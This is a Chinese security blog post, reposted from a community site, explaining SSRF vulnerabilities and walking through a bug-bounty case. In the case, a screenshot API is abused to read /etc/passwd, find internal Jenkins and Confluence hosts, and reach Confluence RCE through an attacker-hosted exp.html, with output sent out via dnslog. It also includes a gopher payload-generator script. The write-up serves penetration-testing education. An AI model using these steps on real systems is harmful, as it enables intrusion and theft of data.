web漏洞挖掘指南 -SSRF服务器端请求伪造

web漏洞挖掘指南

SSRF服务器端请求伪造

一、漏洞原理及触发场景

  1. web服务器经常需要从别的服务器获取数据,比如文件载入、图片拉取、图片识别等功能,如果获取数据的服务器地址可控,攻击者就可以通过web服务器自定义向别的服务器发出请求。因为web服务器常搭建在DMZ区域,因此常被攻击者当作跳板,向内网服务器发出请求。
  2. 常见的ssrf漏洞场景(所有需要输入url的地方都可以尝试ssrf,将url改成dnslog地址,验证请求IP是否来自web服务器):
    • 远程图片拉取
    • xls,doc等文件预览
    • 头像加载
    • 其他网站的访问截图
  3. ssrf常用的协议:http/https、dict、file、gopher、sftp、ldap、tftp

二、漏洞检测及利用

  1. 任何需要传入URL的接口都有可能出现ssrf漏洞,可根据实际业务场景对功能接口进行漏洞验证。ssrf漏洞可分为有回显型和无回显型,有回显型ssrf可以直接通过页面加载出目标资产,可先尝试加载http://www.baidu.com 页面确认有ssrf,如果成功的话,可进一步将百度换成内网IP,通过fuzz扫描内网资产。
  2. 无回显型ssrf的检测需要先配合dnslog平台,测试dnslog平台能否获取到服务器的访问记录,如果没有对应记录,也可能是服务器不出网造成的,利用时可以通过请求响应时间判断内网资产是否存在,然后再利用内网资产漏洞(比如redis以及常见可RCE的web框架)证明漏洞的有效性。
  3. 有回显型ssrf往往可以直接操作内网web资产,不做多赘述。下面由某次众测SSRF案例总结无回显型或半回显型ssrf的利用过程。

三、某次众测SSRF案例(禁用gopher协议时发POST包getshell)

  1. 感谢 @Rus 师傅提供的漏洞,这个ssrf虽然能看到访问截图,但是无法直接操作内网web资产,因此和无回显型ssrf的利用合并总结了。首先在js中发现接口:https://xxx.com/mall-tools/v1-0/tools/screenshot?url=url/&width=3272&height=1840&sleepMillis=10000
    Untitled
  2. 通过接口名称大概知道是截图功能的接口,后接的url参数是可控的,将url地址改为www.baidu.com,响应包返回的数据中给出了截图地址:
    Untitled
  3. 访问该图片地址直接下载值本地,发现正是百度的首页,url改为ceye地址,通过http记录发现UA是基于Linux上chrome内核的浏览器:
    Untitled
  4. 猜测请求过程:客户端通过接口传入url→web服务器接收到地址后用浏览器访问该url→访问后将网页详情截图并上传cdn→接口请求成功响应并返回截图保存地址
    chrome浏览器默认支持:Http,Https,File,Ftp,Linux环境下先尝试读取/etc/passwd,
    Untitled
  5. 将url改成/etc/./././././././passwd可绕过该waf,发现部分用户的hash:
    Untitled
  6. 因为当前用户权限不够,无法读/root/.bash_history和shadow文件,也不知道web源码的绝对路径无法读配置文件,此时还可以读取/etc/hosts文件获取部分内网web资产:
    Untitled
  7. 除了以上收集到的资产,平时遇到无回显SSRF,还可以尝试寻找内网的Confluence, Artifactory, Jenkins, 和JAMF等资产,这篇文章是专门介绍bind ssrf利用技巧的,可以作为参考:https://github.com/assetnote/blind-ssrf-chains
    在GitHub搜索厂商域名关键字+jenkins、wiki、oa、git、svn等有可能出现在域名中的词,发现jenkins和confluence内网资产:
    Untitled
    Untitled
  8. 以上域名公网无法访问,通过ssrf接口带入https://xxx.com/mall-tools/v1-0/tools/screenshot?url=url/&width=3272&height=1840&sleepMillis=10000 ,查看截图后发现jenkins有登录口,无法直接未授权RCE,需要尝试其他历史漏洞,这时可以先试试近期公开的CVE-2021-26084,confluence未授权RCE,详情以及payload参考:https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
  9. 该漏洞的触发需要发送POST请求,以下列举ssrf漏洞发送POST请求的几种思路:
    • 利用gopher协议直接发送POST请求。用python脚本生成gopher数据流,参考:https://blog.csdn.net/weixin_45887311/article/details/107327706
              import urllib.parse
              test =\
              """POST / HTTP/1.1
              Host: 127.0.0.1:8000
              """  
              #以上内容放置请求包内容,注意后面一定要有回车,回车结尾表示http请求结束
              tmp = urllib.parse.quote(test)
              new = tmp.replace('%0A','%0D%0A')
              result = '_'+new
              print(result)

      Untitled
      除了发出HTTP请求外,gopher协议还常被用来攻击内网redis、Zabbix、FastCGI、mysql等服务,利用工具:https://github.com/tarunkant/Gopherus

    • ssrf不支持gopher协议时可考虑利用302跳转。条件:ssrf支持302跳转。参考:https://zone.huoxian.cn/d/392
      土司上也有师傅写过用302跳转对discuz的ssrf进行利用的案例:[https://www.t00ls.cc/articles-62210.html](https://www.t00ls.cc/articles-62210.html
    • 结合csrf自动提交POST表单。条件:支持跳转,无refer限制。前文提到,目标服务器可能是通过浏览器访问后再截图,因此重定向是可以实现的,这里提供一种比302跳转更方便的解决方案,直接用burp生成csrf poc,然后加入一段js来自动提交表单,这样也类似于302重定向的利用方式了。
  10. 当前场景,结合csrf自动提交POST表单的方法是最方便的,因为是半回显ssrf,命令执行结果在截图中无法提现,可通过dnslog将命令执行结果外带,漏洞请求包:
    Untitled
  11. 用burp生成csrf poc后,加入自动提交表单的js,然后将其保存在vps上的exp.html中:
    Untitled
  12. 最后访问https://xxx.com/mall-tools/v1-0/tools/screenshot?url=http://vpsip/exp.html 实现RCE,用dnslog将命令执行结果外带:
    Untitled

文字来源于- 火线 Zone-云安全社区,安全小天地只做文章分享,如有侵权,请联系站长删除


「渗透云记」公众号里主要记录我每天的所思所想,我会坚持更新质量不错的文章,感兴趣的小伙伴可以扫描下方二维码,谢谢支持! 安全小天地 - 公众号 - 渗透云记
© 版权声明
THE END
喜欢就支持一下吧
点赞10 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容